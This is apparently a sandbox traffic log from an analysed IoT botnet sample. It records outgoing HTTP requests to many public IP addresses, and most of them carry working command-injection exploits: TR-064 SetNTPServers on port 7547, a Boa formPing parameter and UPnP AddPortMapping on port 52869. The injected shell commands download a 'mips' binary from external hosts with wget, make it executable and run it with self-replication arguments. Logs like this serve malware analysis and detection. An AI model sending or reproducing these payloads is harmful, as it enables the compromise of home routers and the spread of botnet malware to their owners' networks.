Apr 15, 2024 08:52:13.918860912 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:14.217283010 CEST	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	33948	109.159.93.250	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.930680037 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	42706	80.111.199.200	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.972378016 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	40032	181.204.71.226	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.972915888 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	44724	39.62.213.120	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:14.080492020 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:14.536061049 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	33190	14.72.205.163	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:14.127290964 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	36882	45.251.36.209	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:14.130187988 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:15.384867907 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	32992	14.53.2.212	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:14.135133982 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	43864	190.16.125.23	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:14.135886908 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.13	39974	119.219.242.166	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:14.145536900 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	57164	86.179.210.39	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:14.186028004 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	57738	220.255.233.240	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:14.200501919 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:14.529158115 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	54212	164.248.78.18	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:14.532754898 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:15.556571007 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:15.715953112 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	44754	39.62.213.120	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:14.534538031 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:16.832587957 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data 